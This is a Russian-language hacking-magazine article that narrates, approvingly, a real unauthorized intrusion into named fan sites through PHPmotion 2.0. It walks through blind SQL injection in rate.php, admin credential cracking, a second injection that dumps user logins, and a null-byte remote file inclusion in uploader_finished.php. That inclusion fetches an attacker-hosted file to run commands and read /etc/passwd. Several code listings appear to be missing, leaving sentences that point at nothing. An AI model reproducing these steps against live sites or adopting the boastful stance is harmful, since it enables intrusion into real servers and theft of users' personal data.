Ящик Пандоры. Массовый взлом известных зарубежных фан-сайтов$2.700.000.000 — впечатляющая цифра, не правда ли? Именно столько зеленых президентов собрал на сегодняшний день художественный фильм «Аватар». За этой суммой кроется не только изнурительная работа лучших специалистов мира киноиндустрии, но и «сарафанное радио» многочисленных поклонников синих человечков. Фанаты создали множество сайтов и блогов, посвященных своим кумирам. Одним из самых успешных проектов такого рода является сайт, посвященный Сэму Уортингтону — sam-worthington. net. Основанный 8 января сего года, ресурс уже сейчас посещают около 30 тысяч уникальных посетителей в месяц, большинство из которых даже и не подозревают, что их личные данные находятся под угрозой :). Подготовка плацдармаЗабегая немного вперед, скажу, что одним лишь Сэмом Уортингтоном дело не заканчивается. На одной площадке с samworthington. net находятся десятки других популярных фан-сайтов, о которых я узнал лишь в конце взлома :). Итак, изучение ресурса было начато с анализа главной страницы. Наметанный глаз поклонника WordPress сразу же узнал любимый движок, который, к сожалению, был непробиваемой на тот момент версии 2.9.2 (открываем html-исходник главной и наблюдаем версию в мета-теге Generator). Этот факт меня особо не огорчил, потому что контент сайта прямо-таки манил своим разнообразием. Далее, еще немного походив по страничкам ресурса, я наткнулся на интересную надпись «Powered free by PHPmotion», находившуюся внизу странички videos.sam-worthington.net. Перейдя по предлагаемой ссылке на www.phpmotion.com, я узнал, что этот движок позиционируется как опенсорсный клон YouTube, и что его можно бесплатно скачать. Завладев исходниками PHPmotion, я сразу же попытался сравнить версии: мою и ту, что находилась на фан-сайте «Джейка Салли». Единственной зацепкой, позволявшей хоть как-то определить версию движка, являлась открытая для просмотра директория images — в ней находились файлы logo.gif и logo.png, на которых отчетливо было написано, что необходимая мне версия кроется за номером 2.0. Так как на официальном сайте PHPmotion находилась уже версия 3.0, пришлось немного погуглить (ссылку ищи в сносках). Найдя нужные исходники, я немало удивился тому, что там в самом корне присутствовал файлик VERSION.txt с содержимым «PHPmotion Version 2 STABLE - 28 APRIL 2008». Поскольку такой же файл, оказывается, был и на нужном сервере, дальше с раскопками кода можно было не медлить :). Дырявый phpmotionНемного покопавшись в исходниках и найдя несколько конструкций вроде следующей в ./audio_selector.php:
я, было, обрадовался, но не тут-то было! На запятые и прочие “union select” в переменной $_GET['vid'] реагировал банально встроенный в скрипт IDS, причем исходники фильтра я посмотреть так и не смог, потому что, по всей видимости, он находился в файле ./classes/config.php и был зашифрован утилитой phpShield. Оставалось лишь одно — тупая проверка всех файлов движка на наличие в них конструкций и переменных, на которые фильтр не реагировал. После непродолжительного анализа нужная мне уязвимость была найдена в файле rate.php:
В вышеприведенном коде налицо банальнейшая blind SQL-инъекция: - false, возвращается хэдер Далее необходимо было написать простейший эксплойт на основе этой инъекции, что я и сделал (ссылку на сплойт ищи в сносках). Эксплойт основан на принципе «бинарного поиска» и действует по следующей схеме:
ВнутриПосле нескольких минут работы сплойт выдал мне следующие данные: логин admin и md5 хеш 21232f297a57a5a743894a 0e4a801fc3. Каково же было мое удивление, когда после расшифровки на plain-text.info оказалось, что под этим хешем скрывался пароль “admin” :). Но удивляться было некогда, так что я залогинился в админку по адресу videos.sam-worthington.net/siteadmin и стал искать другие баги. Одним из таких багов оказалась более полезная, чем предыдущая, SQL-инъекция в файле ./siteadmin/manage.php:
Используя эту инъекцию, я выудил все логины и пароли пользователей системы следующим образом:
Но полезного в них, опять же, ничего не было. Добив до конца эту скулю, я узнал, что file_priv у текущего пользователя был выключен (так что просмотреть исходники каких-либо файлов на системе с помощью данного бага не представлялось возможным), и что MySQL сервер фан-сайта обладал следующими параметрами:
Ничего не оставалось кроме того, как более внимательно продолжить изучение исходников PHPmotion. Глубокое проникновениеНа этот раз мое внимание зацепилось за файл ./uploader_finished.php, который отвечает за загрузку и перекодировку видео. Смотри сам:
Здесь скрипт получает параметры temp_dir и tmp_sid, в которых кроется имя файла с некоторыми параметрами для перекодировки видео. В этом случае ни один из таких параметров никоим образом не проверяется. А теперь, внимание — способ потрошения этого кода :). 1. Заливаем на левый сервер site.com файл с именем, например, test.txt, в нем пишем следующее: 2. Авторизуемся в PHPmotion; 3. Переходим по ссылке: www.videos.sam-worthington.net/uploader_finished.php?temp_dir=http://site.com/test.txt%00; 4. Видим на своем мыле листинг файлов текущей директории нашего фан-сайта. При выполнении последних пунктов в скрипте происходит следующее: 1. Переменная $paramFileName принимает значение "http://site.com/test.txt" (".params" после нулл-байта отбрасывается); 2. ~NWLN~ в файле test.txt заменяется новой строкой; 3. Переменная $uploaded_file_name берется из test.txt; 4. Запрос в exec принимает следующий вид:
Как видишь, все гениальное просто :). Теперь оставалось лишь найти директории или файлы, которые были бы открыты на запись, но... таковых в текущей директории не оказалось. Так как довольствоваться лишь одной админкой видео-раздела фан-сайта Сэма я не хотел, нужно было любыми способами залить свой шелл хоть куда-нибудь в пределах данного сервера. Веселые соседиРешив поискать соседей Сэма Уортингтона, я попытался добраться до конфигурационного файла Апача httpd.conf (/usr/local/apache/conf), но здесь снова ждала неудача — он был доступен для чтения только руту (я же имел жалкие права nobody). В данной ситуации мне смог помочь только один из «Reverse IP» сервисов www.yougetsignal.com/tools/web-sites-on-web-server/ и чтение файла /etc/passwd. Вот список наиболее известных ресурсов этого сервера:
Немного погуглив по теме, я узнал, что все основные западные фан-сайты располагаются на бесплатном хостинге от fan-sites.org, один из серверов которого я благополучно поимел :). Хэппи эндЕсли ты поклонник творчества какой-либо известной личности, будь то актер или певец, я думаю, что не стоит открывать большое комьюнити, предварительно не позаботившись о его безопасности. Миллионы фанов по всему миру общаются и обмениваются информацией о своих любимцах на базе уязвимых платформ. Так что задумайся: настолько ли необходимо вгонять в краску наших общих кумиров из-за нерадивых поклонников? Links
|